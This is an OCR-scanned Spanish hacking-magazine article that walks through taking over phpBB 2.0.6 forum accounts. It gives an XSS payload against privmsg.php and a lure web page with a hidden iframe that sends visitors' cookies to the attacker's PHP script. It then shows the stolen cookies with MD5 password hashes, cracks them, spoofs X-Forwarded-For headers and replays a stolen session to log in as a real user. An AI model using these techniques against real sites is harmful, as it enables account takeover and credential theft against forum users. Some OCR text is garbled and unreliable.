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Este articulo te permite tomar el control total de cualquer foro de Internet basado en
PHPBBZ en su version 2.0.6
Nuestra intencion es la de siempre: ENSENAR.
€l conocimiento nos hace libres. no profanes jJamas tu mente con actos que te desmerezcan

Hola, de nuevo...

Vamos a realizar un inciso en el curso
de seguridad vy firewalls para tomar un
tema interesante, delicado y que se que
no va a caer en saco roto.... sudores me
entran cuando recuerdo alguna tarde
pensando en lo que nos pudo haber
ocurrido....

Este articulo persigue un objetivo final:
Entrar a un foro como administrador,
como moderador o como cualquier
otro usuario.

Para ello voy a describir varias técnicas,
mediante enlaces maliciosos en un
post, creando una pagina web
“misteriosa” que nos dara los
parametros necesarios, utilizando técnicas
de spoofing mediante proxys,
manipular las cabeceras de http 0 "a
lo bestia”, obtener el hash de cualquier
usuario y craqueandolo por fuerza bruta,
y como no... inyectando HTML y SQL.

Todas ellas tienen algo en comun,
utilizar un bug o varios bugs que han
ido descubriéndose para foros phpBB2,
concretamente para las versiones 2.0.6

que era la de nuestro foro

9 Qué es un foro...

Qué es un foro, advertencias y servidores de practicas!!!

Si eres un nuevo lector y no sabes mucho de Internet, quizas te
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preguntes qué es un foro. Un ejemplo vale mas que mil palabras,
asi que pasate por www.hackxcrack.com y entra en el foro.

Los foros son, hoy por hoy, una de las herramientas mas utilizadas
donde personas como tu o yo compartimos todo tipo de
conocimientos y experiencias. La mayoria de comunidades tiene

el suyo y es el punto de reunion de sus miembros.

Aunque hoy en dia existen foros basados en todo tipo de lenguajes
(PHP, C, Java, HTML... ... ) y para todas las plataformas (Linux,
Windows... ... ) hay uno destaca sobre todos los demas: el phpbb2
(www.phpbb.com). Destaca porque estd escrito en PHP, es software
libre, es facil de instalar y tiene un soporte realmente brutal (una
inmensa comunidad de usuarios) y es utilizado por miles de
comunidades en Internet.

Como ya hemos comentado, en este articulo estudiaremos cémo
podemos “asaltar” la version 2.0.6 de estos foros. Todos los que
participamos en la creacion de esta revista te pedimos que las
practicas que te ensefiaremos hoy no sean utilizadas para destruir
ninguna comunidad. Practica cuanto quieras y aprende lo que
puedas; pero por favor, no te dediques a hacer dafo.

Tienes 3 servidores de la revista a tu disposicion para practicar.
En nuestro foro (www.hackxcrack.com) tienes sus IPs y todo

5

€s0... ya sabes ¥

La dedicatoria de este articulo va dirigida
en esta ocasion a todos los moderadores
y administradores de los foros de
hackxcrack, que desde Diciembre del
afio pasado, llevo dandoles la brasa con
esto... y que por razones obvias, no
hicimos publico en nuestros foros en su
momento, ahora que ya esta parcheado...
y mejor no preguntes por qué se tardo
tanto.... es una larga historia....

PC PASO A PASO N° 22



Si.... 7 meses... 7 meses de fatigas
“"escudrifiando” post, cambiando el
password frecuentemente, apoyandonos
en otros usuarios que les hicimos ver
nuestros temores... en fin, un calvario.
Cada vez que me conectaba como
administrador del foro pensaba... ya
veras... hoy es el dia... nos pillaron...
menos mal que no fue asi.

Este documento recoge en gran parte
esas experiencias, esos temores... y no
solo porque cualquiera hubiera podido
loguearse como un usuario concreto
(como Vic_Thor, como TuXeD, como
.... cualquiera de nosotros, sino porque
hasta se hubiese podido BORRAR
todos los post del foro sin necesidad
de entrar como administradores o
moderadores.... si, si... en este articulo
también lo descubrirds, con un post
“inofensivo” y con cierta mala leche,
cuando un administrador o un moderador
del foro lo lee, sin querer estara
eliminando los post que nos de la gana...
silenciosamente, sin preguntas, sin darse
cuenta y sin saber que es lo que paso
porque el mismo post que lanza el borrado
se borrara...

Para realizar todas las practicas vy
aprovechar al maximo este articulo,
necesitaremos:

P Un proxy que permita modificar las
cabeceras http

P Un foro vulnerable

P Un Servidor Web que permita ejecutar
scripts php

P Conocer un poquito... muy poquito de
MySQL

P Y el presente articulo...

Vamos a empezar la casa por el tejado...
vamos a empezar “descubriendo” una
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serie de vulnerabilidades que nos
permitiran:

P Obligar a un administrador o moderador
de un foro vulnerable a eliminar uno,
varios o todos los post de “su foro”, sin
saberlo y sin darse cuenta

P Obtener el hash de la contrasefa de
cualquiera que entre en el foro y tenga
verificada la casilla de “entrar
automaticamente en cada visita”
P Obtener el SID de usuario y el ID de
usuario y hasta la IP... y mas cositas...

Luego, usaremos una pagina web para

“automatizar” todo eso vy
“despreocuparnos”
Después... usaremos SQL injection

para realizar lo mismo y http spoofing
para:

b Averiguar la IP, el SID, la contrasefia
y lo que nos de la gana de cualquier
usuario

P Seremos capaces de postear con IP

falsa, hasta con IP’s que no existen

Y por ultimo:

PCombinaremos todo lo dicho
anteriormente y entraremos al foro
como otro usuario, usando su IP, su
nick, no sera preciso saber su clave de
acceso, pero conseguiremos todo lo dicho:
ver sus mensajes privados, postear en
su nombre y si se trata de un
administrador tendremos acceso a la
joya de la corona en un foro... el panel
de administracion.

P También, y dicho sea de paso, podremos
saltarnos los baneos (si fuimos
excluidos) por IP, por nick... por lo que
nos de la real gana... y mas... hasta
podemos.... me callo.

Asaltando foros - Asaltando foros - Asaltando foros - Asaltando foros - Asaltando foros
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Como ves, todo lo dicho es bastante
delicado como para realizar las pruebas
con foros reales y en marcha sobre los
que no tenemos autorizacion a “practicar”
con este asunto. Por ello seria (repito de
nuevo) ideal construirte tu propio foro...
y no es por dar mdas pistas... pero
aplicando la misma técnica... hice lo
propio con “otras cosas” que no son foros,
concretamente con los usuarios de correo
de terra o wanadoo... y otros mas... sélo
hay que pensar...

Lo ideal es que te montes todo esto en
casa... en tu red de pruebas, luego ya
serd el momento de “intentarlo” con
otros.... no te lo recomiendo, no te incito
a ello, ya sabes... deontologia, ética y
respeto al préjimo... pero hay que saber
lo que nos podemos encontrar cualquier
dia.

en inyectar codigo, una simple inyeccién
de un Java Script, el consabido Cross-
Site Scripting Vulnerability

Mas informacion sobre el mismo lo puedes
obtener en:

http://www.securityfocus.com/bid/9290

73 SecurityFocus HOME Yulns exploit: phpBB Privmsg.PHP Cross-Site Scripting Yulnerabili - Mic... g@l
Archivo  Edicién  ¥Yer Favoritos Herramientas  Ayuda

Busqueda

@A!rés - »x] z] | 7

@] http: fjwwwr.securityfocus comybid/9290 exploitf

Favoritos @Mult\med\a 6—‘
v B

phpBB Privmsg.PHP Cross-Site Scripting Vulnerability

[ info discussion | exploit | _solution credit help

The following proof of concept has been supplied:

http:/fwww .example.com/forums/privmsg.php?mode=""><script>alert
{document.cookie); </scrip
t>postau=2

William Heatley has supplied the following proof of concept:

http:/fwww example com/phpBB/privmsg.php?mode=%22%3E%3C %7 3%63% 72 %69%70%
T4%3E%61%6C%65% 72%7 4%28%64 % 6F % 63%75 %60 %65%6E% 7 4% 2E%63%6F % 6F%
6B%69%65%29%3C%2F% 7 3%63%72%69%70%7 4% 3E%3C

<

&) Listo

@ Internet

Es cierto que en este articulo hay casos
reales, unos contra nuestros foros
cuando eran vulnerables y otros contra....
bueno, ya lo veras... al finalizar el articulo
encontraras que este modesto servidor
entré a un foro “guiri” como moderador
del mismo sin serlo.... usurpando la
identidad del verdadero moderata.
Mientras escribo este articulo envié un
mensaje privado a los moderadores de
ese foro (por cierto, aunque este articulo
sale ahora, se escribido en Mayo aunque
tuve que repetir las practicas para obtener
las pantallas con calidad suficiente) asi
que espero que hayan tomado las
medidas correspondientes.

Vamos a empezar....

Alla por finales de diciembre de 2003
alerté a los administradores vy
moderadores del foro con un bug que en
su dia me parecio “significativo”, consiste

Vamos a “comprobarlo” con nuestros
foros...

Para cuando leas...

Para cuando leas estas lineas, los Servidores de Pruebas
de Hack x Crack ya deberian dar acceso a foros de pruebas
para que practiques. Para mds informacion
www.hackxcrack.com

Primero nos logueamos con nuestro nick
y password y NO verificamos la casilla
de Entrar automaticamente en cada
visita...

/2 www. hackxcrack.com :: Login - Microsoft Internet Explorer

<1 ® Internet

PC PASO A PASO N° 22
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Una vez validados en el foro, accedemos
a cualquier subforo y nos disponemos a
publicar un tema... o responder un post
0 un privado... cualquier sitio que nos
deje postear algo...

Y en el cuerpo del mensaje posteamos
esto:

http://www.hackxcrack.com/phpBB2/p

rivmsg.php?mode=%22><script>alert
(document.cookie); </script>

A www. hackxcrack.com :: Publicar un nuevo tema - Microsoft Internet Explorer

Archivo  Edicién  Yer Favoritoes Herramientas  Ayuda

Qs -

H@e
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 Publicar un nuevo tema :

Asunto

-> F.A.Q. DE HACK X CRACK

Cuerpo del mensaje

Emoticons
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¢ag
[N
T Te

‘
&) ® Internet

Y en lugar de publicarlo le damos a la
vista preliminar... para no liarla =

A www. hackxcrack.com :: Publicar un nuevo tema - Microsoft Internet Explorer

Archivo Edicen VYer Favoritos Hemamientas Ayuda
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Bien, ahora pinchamos en el link que
acabamos de poner... y pasara esto:

Microsoft Internet Explorer

'z phpbb2mysql_t=a%3A2%3A%7Bi%3A15405%3Bi%341087417130%3Bi%3A15484%3Bi%3A 1087420901 %36%7D

;:uhpbemysql_data=a°/a3A2°/o3A% 253A11% 38%=2autoloainid o AR TN BN DI0L IO, RO I ARLL D[
222385 %% 3AN 201 L 822 36% D DTy Sl S0 C 356 TR T2 EN eb 7 S0y

Recibimos en nuestro navegador el
resultado del script inyectado
alert(document.cookie)

De todo eso nos fijamos en lo que aparece
rodeado con circulos rojos... El sid, el
autologinid y el userid.

El sid cambiara por cada conexion nueva
que efectuemos con el foro, de momento
no nos sera de mucha ayuda, pero luego
sera imprescindible...

El id, es 1011, es el numero de usuario
que me corresponde... cada uno tenemos
un valor constante y que se nos adjudica
cuando nos registramos por primera vez.

El autologinid, guardara el hash de la
contrasefa en MD5, siempre y cuando
el usuario haya iniciado su sesion
verificando la casilla de entrada
automatica, no es nuestro caso, asi
gue... no nos servira de mucho, si hubiese
entrado con la casilla verificada, veria
esto:

Microsoft Internet Explorer

gl data=a%3A2%3A%7B5%3A 1 1%3A%22autologinid%s22% 385 % 3A32%3A%.

] 139764bh19 o 22% 385 % 306 % 30 % 22userid % 22% 385 % 3A4%3A% 221011 %22%38%70;

B2mysal_sid=1570e7f359abd6719cdS2dbbS4feScc2

i Aceptar

Esos dos circulos verdes encierran la cadena
MD5 del hash de mi contrasefa, que para
este caso e s :
cf99847d2cd8fb4f1178139764bb19c8
si nos la llevamos a un cracker de MD5
sacaremos la contrasefia, (cuando explique
todo, veremos como se craquean....)

Pagina 7
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Claro, que esto so6lo sera asi si el
usuario entro con la casilla
verificada... y ademas... esto se envia
a nuestro propio navegador, lo que seria
interesante es que nos enviase la cookie
a un servidor web y que la podamos
recibir, ya sea la nuestra o la de otro
usuario, bueno, por el momento nos
quedamos con “el concepto”

Mas adelante veremos que con el
SID y con la IP de cualquier usuario
podremos loguearnos como si

fuéramos él...

De lo que se trata ahora es que tras
publicar un post “de verdad” nos envie
las cookies de todo quisqui que se pase
por el hilo... y de preparar un servidor
web que reciba las cookies, los sid y todo
eso... y claro.. también tendremos que
sacar su IP, con esos datos estaremos
en condiciones de conectarnos al
foro como si fuésemos el verdadero
usuario, vamos a construir esa web...

Primero nos montamos nuestro servidor,
Apache, IIS, el que nos de la gana; pero
hay que instalarlo con soporte a php,
puesto que vamos a usar un pequefo
script para que almacene en nuestro
webserver las cookies de los que nos van
leyendo el post.

Obviamente hay que publicar un post en
cualquier foro “animando” a visitar esa
web, nada dificil, un inofensivo link a una
web “aparentemente” estupenda... o de
esas cosas que vemos por los foros de
"esta es mi web espero vuestros
comentarios....”, hasta puede ser un link
“dirigido”... luego veremos mas... de
momento lo simple.

El asunto es cémo pasar la cookie a
un webserver, no es tarea facil, no

credis... hay un problema: el %22 del
link, que no es otra cosa que la inyeccion
HTML para el script privmsg.php,
equivale a las comillas dobles (") y si en
ese script ponemos cualquier cosa que
lleve comillas simples o dobles, deja de
funcionar.

Y no valen las formas \” ni nada de eso...
es una lata... Ahh!! Y si queréis probar
también funciona con viewtopic.php,
editprofile.php, etc....

Asi que nos creamos una web en un sitio
cualquiera (yo me lo creo en mi propio
webserver, pero lo puedes subir a
cualquier sitio que soporte php y pirula
igual de bien). El cédigo html de esa web
es el que sigue y el archivo lo llamé
miramiweb.html|

B miramiweb. html - Bloe de notas

drchivo Edicién Formate Wer #yuda
khtml>
<script>
function juas() {miventana=open("/roba_cookie.php?la_cookie="-+window.status);miventana.close();}
</script=
<form name =" Abre_lo">
<iframe id=fr2 name ="fr2" width="700" height="400" src="'/miramiweh2.html"</iframe>
<iframe id=frl name ="fr1" width="0" height="0""
sre="http:; ~hackxcrack hpBE2/pri
method="post"=</iframe>
<form:
<form name = "Escribe_lo">

php?mode=%22><scrip

cookie;</script="

<hody onunload="juas();"></hody>
</form=>
</html>

A su vez llama a otro archivo cuyo nombre
es miramiweb2.html

B miramiweb?2. html - Bloc de notas
Archivo Edicién  Formato Yer Ayuda

<html= - |
<head>

<title=Pagina de Vic_Thor</title>

</head>

<hody=

<p><img border="0" sre="PE07677_. WMF" width="179" height="180"><font size="7">Esta es mi weh...<font></p>
<p>&nbsp;</p>

<p>&nbsp;</p>

<p=><a href="/video.html">Los mejores videos del mundo=/a~=/p>

</html>

Que también usa otra pagina de nombre
video.html

[ video.html - Bloc de notas

Archivo  Edicion Formato Yer Ayuda

<html>
<hody=
<p=<img border="0" dynsrc="clock.avi" start="fileopen" width="321" height="321"></p>
<fhody=
</htwml=

PC PASO A PASO N° 22
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Cuando se cierra la pagina principal,
se ejecuta un script php de nombre
roba_cookie.php y su codigo es:

A=)

[ roba_cookie.php - Bloc de notas

Archivo Edicion Formato Yer Ayuda

<?

global SREMOTE_ADDR;
$cookie_robada=$ REQUEST[la_cookie];
$ipu=$_SERVER['REMOTE_ADDR'|;
$fcookies=fopen(" captura.txt"," a+");
furite($fcookies, "\r\nlP: \t");
fwrite($fcookies, "Sipu rinirn");
fwrite($fcookies, " cookie de HxC: \t");
furite($fcookies, "$cookie_robada \rin'r'n"');
fclose($fcookies);

e

El iframe fr1 carga el contenido de una
pagina del foro junto con la inyeccién
HTML que utiliza el bug, y la cookie, en
lugar de mostrarla con un
alert(document.cookie) se pasa a la barra
de estado del navegador,
window.status=docuument.cookie.

Es intencionado, podriamos haberlo puesto
en otro sitio que no se viese o almacenarla
en una variable y usarla después... pero
como esto es un ejemplo, asi vemos qué
va ocurriendo....

Ya sé hay mucho que mejorar, pero es
rapido y funciona -

Bueno, expliquemos un poquito el
codigo... para los despistados y para
ponernos en situacion:

El Archivo miramiweb.html

Es la pagina principal e incluye una funcién
denominada juas, que invoca al método
open cuando se la llame y ejecuta el
script roba_cookie.php pasandole como
parametro el contenido que exista en el
objeto window.status... cuando veamos
un caso practico se entenderd mejor.

Utiliza dos iframes, uno que “se ve” y
que lo llamé fr2, y otro que “no se ve”
y que lo llamé fri.

El iframe fr2 carga el contenido de la
pagina miramiweb2.html (que es lo
que veremos cuando se llame a la pagina
principal)

PC PASO A PASO N° 22

Por ultimo existe un form llamado
Escribe_lo, que se lanzara
inmediatamente después de cerrar la
ventanita de la web maliciosa y ademas
hace la llamada a la funcion juas() que
como dijimos antes le pasara el contenido
de window.status (que ya tendra la
cookie) al script roba_cookie.php,

Esto es importante que sea asi, bueno
hay otras formas, pero elegi esta. El caso
es que como tardara unos segundos en
cargar la pagina del foro, si intentamos
pasar la cookie antes de que lo haga, no
la cazaremos, por eso se ejecuta con el
método onunload y por eso en la web
maliciosa hay videos, fotos, etc... hay
que dar tiempo a que se cargue la
pagina del foro dentro del iframe fr1
(te recuerdo que no lo veras porque tiene
un tamafo de 0 x 0)

Si quieres modifica width y height del
iframe fr1l y veras que aparece una

pagina del foro

El archivo miramiweb2.html

Este no tiene ningun misterio,
simplemente visualiza una foto y muestra
un link para ver “los mejores videos del
mundo”, el contenido de este archivo se
mostrara en el iframe fr2

Pagina 9
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El archivo video.html

Menos misterio aun... es eso... un simple
video...

El archivo roba cookie.php

Es un script php que grabara un archivo
de texto con la IP del personaje que visitd
nuestra web y la cookie que le paso la
funciéon juas() en el archivo
miramiweb.html. Observa que se pasa
como parametro window.status

La variable la_cookie: es quien
almacenara el contenido de
window.status que se recibié como
parametro.

La variable ipu: es la IP del que
nos visita y se recoge de la cabecera
X-Forwarded-For.

Coémo!!!l Qué no sabes como funciona el
script... venga.... que esta explicado en
el curso de php que llevamos en la
Revista...

Bueno, pues vamos a ver como funciona
todo y lo damos por zanjado...

Primero, posteamos en un foro “e/
reclamo” para que visiten nuestra web...

M wwwr. hackocrack.com :: Publicar un nuevo tema - Microsoft Internet Explorer

i archivo Edicdn  Ver Favoritos Hemamientas  Ayuda

IBREE O misqueda

Favoritos (@Y Mutimedia %)

-< bR
€] Listo & Internet

Pagina 10

Cuando los usuarios que pinchen en el
enlace del post, les aparecerd otra
ventanita en el navegador... esta:

=
a2 http://213.0.209.59:6539%/miramiweb. html - Microsoft Internet Explorer

archivo Edicin  Ver Favoritos Herramientss Ayuda at

\ " : -
£ Q §)  J) pisqueds Favorios (@ tutimeda %) - o @ -

hitp://213.0.209.59{miramiweb. htrrl v B

Esta es mi1 web...

Los mejores videos del mundo

< >

@ﬂ%ﬁn%m%am 1%%3A%22autologinid%e22%365 %A Ho: a

@ Internet

Como ves (rodeado en rojo) se muestra
la cookie en la barra de estado
(window.status) tal y como le
explicamos en el iframe fr2.

Nuestros visitantes visitan nuestra web,
pasean por los enlaces... disfrutan con
los videos... etc... mientras tanto en el
iframe fr2 ya se cargd por completo el
script con la inyeccién HTML, ahora se
ve... en la barra de estado, por eso decia
yo lo de hacerlo “mas discreto”, pero
eso... esto es un ejemplo...

Cuando nuestro/s visitantes cierren esa
ventana o “salgan” de nuestra web, se
invocara el método onunload, se
ejecutara la funcién juas() vy se llamara
al script roba_ cookie.php. En el servidor

Web pa Sé eStO BT & C:\netpub\wwwroot E =] 53

| archivo | Edicién Ver Favoritos Herramientas Ayuda

)

S e cre (’) un Saatrds - = - (2] | QBlsqueda Y Carpetas (BHistorial | Y OF X 1 j~

| oreccién [ wwwroot | Qe |
i = | < <
archivo [ Sl B O ]
|1 ama d 0 hroot private vtk _vtilog
ca pt ura.txt capturatt

Documento de texto
_vipvt  _vtisoipt  _wtitxt acid

@ @ @ @

adodb images ipgraph phpBB2

tal y como
debia realizar
nuestro

Modificado: 16/06{2004 18:40
Tamafio: 153 bytes

Atributos: (normal)

N B«

programa en

[Tipo: Documento de texto Tamafio: 153 bytes 153bytes | MiPC

php.
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(QUIERES COLABORAR CON PC PASO A PASO?

PC PASO A PASO husca personas que posean conocimientos de
informatica y deseen publicar sus trabajos,

SABENOS que muchas personas (quizas tu eres una de ellas) han creado
textos y cursos para “consumo propio” o “de unos pocos”.
SABEMOS que muchas personas tienen inquietudes periodisticas pero

nunca se han atrevido a presentar sus trabajos a una editorial,

SABEMOS que hay verdaderas “obras de arte” creadas por personas
como tu 0 yo y que nunca veran la luz

PC PASO A PASO desea contactar contigo!

NOSOTROS PODEMOS PUBLICAR TU OBRA!

S| DESEAS MAS INFORMACION, envianos un mail a
empleoGeditotrans.com y e responderemos concretando nuestra oferta,
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si vemos el contenido de ese archivo....

& captura.tut - Bloc de notas i =[Ol x|
Archivo  Edicidn  Formato  Ayuda
1P: 213.0.209.59 =]

cookie de Hx
phpbb2iysql_ Satama:z: (s:11: “autologinid;s:32: "cTI9847d2cd8Th4T1176135764bb15CE" ;516 "userid" ;5:4:"1011";
}; phpbbzmysql_si d=: Lo eoabaeriscde  abbesresces

IP: 200,83.192.100

cookie de

phpbbzmysq’l "Gatasa:2: {s:11imautaloginid®;s: 32:498C9d1386384acE TasGCbaTEC1S08dD" 51 61 Tuser d! 151 4:12349"
1; phpbbzmysql_sid=364981d560e63377adde442eafsbds3; phpbb2mysql_t=a:1:{1:15405;1:1087417130;}

IF: €1.30.110.¢

cookie de HxC: phpbbamysql_t=a:l:(i:15405; 1 1087617130 4

phpbbamysql_data=aizt (s111ivautologimd: Tuseridnys:e 268775 ];
151 d=6 221 S Gsnatsansddh

I =

Ahora tenemos las cookies de los tres
“inocentes” que visitaron la web... los
dos primeros usaron la entrada
automatica, por tanto obtenemos los
hashes (lo que viene tras autologinid....)
de las contrasefias y sblo hace falta
pasarlas por el crakeador que mas rabia
nos de....

Por ejemplo Cain... http://www.oxid.it

-] F
= BEL]
= Fle View Configure Tools Help
B @ 4 @R 383 RV EDBME~F20 O 4
o ProtectedStorage | gl LsASecrets | @ Network [ Snffer [of Cracker @R Traceroute |

g wic 30Es A | [ MDS Hash | Password | Dict Pos | Last Brute Prd__|
"‘z: MD2 Hashes $\cfo9847d2cdaibaf1176... mitesoroenhxc bAQVA
:“a MD4 Hashes $\,498c9d1386384ac6fa56... Kui2 dmelk

¥
S8 SHA-1 Hashes

RIPEMD-160 Hashe &
n i = : md DS Hashes

[Cain v2.5 beta33 by mao

y ya... tenemos que para uno de los
usuarios el password es mitesoroenhxc
y para el otro es kuli2

Ahhh, que no sabes el nick... venga
hombre... accedes al foro, como usuario
o0 como invitado, y escribes esto, en el
caso del user 1011 (ese numero
corresponde al userid que nos suministrd
la cookie)

http://www.hackxcrack.com/phpBB2/profile.php?mode=viewprofile&u=1011

Ya lo sabes... asi con los demas...

Pero... éy qué pasé con el tercero?
De ese no tenemos el hash... o sea
que no podemos...

JA, eso es lo que le dijo el lobo a los tres
cerditos... CLARO QUE PODEMOS, pero
antes de explicar cdmo, necesito explicar
“dos tonterias” acerca de como falsear la
IP en un foro... bueno y en mas sitios,
pero lo que nos afecta en este cado es
un foro.

Vamos a necesitar dos cosas... Achilles

o proxomitron
http://packetstormsecurity.nl/web/achilles-0-27.zip

http://www.proxomitron.info/files/download/ProxN45j.exe

http://www.pluto.dti.ne.jp/~tengu/proxomitron/files/ProxN45.zip

Y el parche a espaiol en:

http://www.nautopia.net/ estaticos/descargas/proxomitron/ProxN45-Spa.zip

@
R woarne_hackxcrack.com :: ¥iendo Perfil - Microsoft Internet Bx... [= |[3]BK])
i archivo Edicién Yer Favoritos Herramientas  Ayuda T

cnués - = A € O sosaueds

Direccion [4&2] http: ffwww.hackxcrack.comiphpBB2fprofile . phprmode v | B3 1r

' Favoritos

&1 4B Internet

Lo haremos con Proxomitron... que
automatiza mas la tarea, aunque si
queremos “observar” paso a paso todo
lo que ocurre, esta bien lo de Achilles,
pero te hartaras de modificar un paquete
de datos tras otro...

Esto es muy facil de instalar,
descomprimes el .zip en un directorio,
después descargas la traduccion a espafiol
y sustituyes el archivo ejecutable del
directorio en el que lo instalaste por el
de la version en espafiol, yo lo tengo en
la carpeta D:\proxo

Wsen EE&
Archivo  Edicion  ¥Yer Favoritos Herramientas Ayuda .,
@ awss - (L) = O Bisqueda Carpetas  [127]~

Direccion | D:\proxo v B

— — ~
] html ] Lists

| Carp Carpeta de archivos
N Textures Proxomitron

| Carpeta de archivo : ¥
ﬁ default.cfg ﬁ default-backup.cfg

S8 Srchiva CEG III bt

Pagina 12
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Lanzamos el ejecutable y en la barra de
tareas o en la bandeja del sistema
aparecera su icono... pinchamos dos
veces sobre él o botdon derecho y abrir
proxomitron

Abrir Proxomitron

Filtros de Pagina Web

v Filtros de Encabezados Salientes
~  Filtros de Encabezados Entrantes
Congelar Animaciones GIF
Dejar Pasar

Usar Proxy Remoto

Abrir Ventana de Informe

Cargar Archivo de Configuracién
Afiadir al Blogqueador de Archivos
Editar Bloqueador de Archivos

Salir del Programa

Proxormtron defau

Al abrirse, desmarcaremos todas las
opciones excepto la de encabezados
salientes:

Pinchamos en Configurar y en la ficha
HTTP

PC PASO A PASO N° 22

Preferencias de Configuracion

Numero de puerto del Proxy

Elegimos el puerto (uno que no esté
en uso, a mi me dio por el 9000) y
aumentamos el tiempo de conexiones
locales a 3600 segundos (una hora)
Aceptamos y volveremos a la pantalla
en la que empezamos.

Ahora Pincharemos en Encabezados

Filtros de Encabezados HTTP

Salida Entrada Mensajes de Encab
J/77 1 URLKiller: kill-a-URL (out)
I PN T Useragent: Lynx 2.8 (out)
Dl‘l‘ User-Agent: Netscape BEOS [out)
D'T__ User-Agent: Netscape Linux [out)
. User-Agent: Netscape Mac 68k [out)
User-Agent: Opera 5.02 (out)

Wawhw-Authenticate: filter out password requests :
X-Forwarded-For (out):

|
i
I PV | Useragent: SpaceBison (out)
i
Vil ]

Bajamos hasta el final con la barra
de deslizamiento que hay a la derecha
en la zona blanca y verificamos X-
Forwarded-For (out), solo de salida,
le damos a editar y en el recuadro que
pone Reemplazar por este Texto
ponemos 1.1.1.1

Pagina 13
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Editor de Filtros de Encabezados HTTP

Aceptamos, Aplicamos, Aceptamos
y cerramos la ventanita del
Proxomitron si queremos... o la dejamos
tal cual, como prefieras.

Ahora configuramos nuestro
navegador para que las conexiones
salientes pasen por el proxomitron... y
le indicamos que usaremos un proxy
con IP 127.0.0.1 por el puerto 9000,
que es el que le pusimos al proxomitron
en Configurar

r

Configuracion de la red de drea local (LAN)

Configuracion automatica

La configuracidn automética puede superponerse a la manual, Para evitar
que esto ocurra, deshabilite la configuracién automética.

[Jusar secuencia de comandos de configuracion automatica
Servidor proxy

Utilizar un servidor proxy para su LAN, Esta configuracion no se
aplicaré a conexiones de acceso telefénico o de redes privadas
virtuales (YPN).

Direccién: | 127.0.0.1 | Puerto: | 5000 | | opciones avanzadas... |

[Inio usar servidor proxy para direcciones locales

[ Aceptar l [ Cancelar ]

Aceptamos, Cerramos .... y abrimos
el navegador

Pagina 14

# En los numeros...

En los numeros anteriores revista ya se han publicado
muchas formas de falsear tu IP, esta es otra mads *

Voy a poneros una captura de pantalla
del panel de administracion del foro, en
el que se ven las IP’s de los usuarios que
hay conectados...

2l phpBB Administration - Microsoft Internet Explorer

drchivo  Edicidn  Yer Favorkos  Herramientas  Ayuda
Q- O WG Puns ot @ @3- 8- B
H @http-.l/www.haﬂu:v(k(umiphpﬁzﬂedmfndax.p jmaS3e77ef 3936¢675360c20d421dacc?

[ [ OrrTe—

Administracidn
de los Foros

&l ® Interret

Ozu!!! Acabamos de descubrir varias
cosas... que podemos ponernos la IP
que nos venga en gana, byes, byes a
los baneos por IP, hasta podemos
postear con la IP de otro...

Hasta nos puede dar por usar una que
no exista... ¢y si le ponemos otra cosa?

Por ejemplo: Wadalbertia -, vamos a
ver... configuremos el proxomitron para
que nuestra IP sea Wadalbertia... o La
pantera Rosa, cada uno a lo suyo

Editor de Filtros de Encabezados HTTP

PC PASO A PASO N° 22
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Y Aceptamos....Aplicamos y
Aceptamos....

Ahora vamos a navegar a una de esas
webs que nos dicen la IP y los proxys

que usameos....

Por ejemplo a www.showmyip.com

2 Direccion IP de su conexidn a Internet Wadalbertia by LA_MACHINE --> showmyip.com <-- - Microsoft Internet... [ |[B][5)

frchivo  Edicion  Ver [Favoritos Heramientas Ayuda I

entvés -0 \ﬂ @ {;j f\ Blisqueda \;*(Favmtus @ rutineds ) :{{)‘- “ =] J E 2
Direcei -nﬁ h ip.comfes/ E Vi

services
v, eurodns, com

Grab & powerful Domain Name that's al Business! Register
& Biz Name.
v idotz.net

Wadalbertia by
LA_MACHINE

MaxMind IP to Location
Free and Paid Databases C, Perl, Java, PHP, Apache, C# API
mmmmmm d.com!

iz Domain:
glinsti schnell und zuverlassi mt Malkonto Redirekt
Subdomains
s kes-domains. de

us necesita: zu direccién 1P g

&l & Internet

Jajaja, nuestra IP es muy cachonda...
hasta podemos cambiar mas cosas como
el user-agent y ponernos que usamos un
sistema operativo Giindos 33, pero...
que hara el foro?

Pues lo que pueda... como no resolvera
esa IP lo mas probable es que mantenga
la Ultima con la que entramos, (la 1.1.1.1)
o igual le da por ponernos otra... pero
bueno, eso no es lo que nos interesa...
nos interesa loguearnos con la IP
verdadera de otro...

Como tenemos las cookies en nuestro
archivo captura.txt lo que tenemos que
hacer es lo siguiente:

P Las copiaremos y nos la llevamos al
proxomitron

P También cambiaremos la IP del usuario
de esa cookie

Realmente nos vale con el SID y la IP,
vamos a ello:

PC PASO A PASO N° 22

La victima es un compafiero... esta vez
él no lo sabe... la primera vez que lo hice
me sirvié Yorkshire como conejillo de
indias... esta vez es Grullanetx, sorry y

un abrazo, amigo...."™

Primero ponemos su IP en el
proxomitréon como ya hemos
aprendido... (quité los primeros octetos...
para que no se me mosquee mucho)

Editor de Filtros de Encabezados HTTP

Luego, vamos al filtro de encabezados
http y buscamos uno que dice Cookie:
Fake a cookie (out) y verificamos la
casilla de Salida y le damos a Editar

Filtros de Encabezados HTTP
Salida Entrada Me = t
I PN | Content-Type: Show contents of .pac files (in) A&
i
I RN ] Cookie: Kill a cookie [out)
I 71 Expires: always cache [in)
"

:; Forwarded: [out)
I PN itModilied-Since: Always reload pages (Out)
PN | LastModified: (In)
DF Pragma: Don't force reloads (out)

En la pantalla de edicidn de la cookie falsa
reemplazamos por la cookie que le

Pagina 15




Asaltando foros - Asaltando foros - Asaltando foros - Asaltando foros - Asaltando foros

robamos anteriormente, no hace falta
que sepamos su password, ni tampoco
que él verificase la casilla de entrada
automatica... da lo mismo.... |

phpbb2mysql t=a:1:{i:15405;i:1087417130;};

phpbb2mysql_data=a:2:{s:11:"autologinid";s:0:""’;s:6:"userid";s:4:"2687"; };

phpbb2mysql_sid=f0a98ea57ea60586adeedd688e9c2d2f

Lo copiamos y se lo pegamos en
reemplazar texto

Edltor de Filtros de Encahezados HTTP

Y como siempre, Aceptamos,
Aplicamos y Aceptamos...

ESTO ES IMPORTANTE!!!

Para que todo vaya bien, debemos
desconectarnos como usuarios
registrados del Foro, cerrar todas las
ventanas del navegador (por si acaso)
y abrir una nueva...

Accedemos al foro normalmente...
invitados...

como

http://www.hackxcrack.com/phpBB2/index.php

Entramos como Grullanetx sin pasar
por el login, a lo peor, tendremos que
actualizar o pinchar en Foros de
discusion... en cualquier caso, estaremos
logueados como Grullanetx sin saber

o

ni su pass, ni esperar a craquearlo =

Pagina 16
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/2N www. hackxcrack.com :: Indice - Microsoft Internet Explorer

archivo  Edcion  Ver Favortos Herramientas  Ayuda

Qus - ) [x [B (0 Osisweda 57 ravartos @ rakineda ) (- Tn

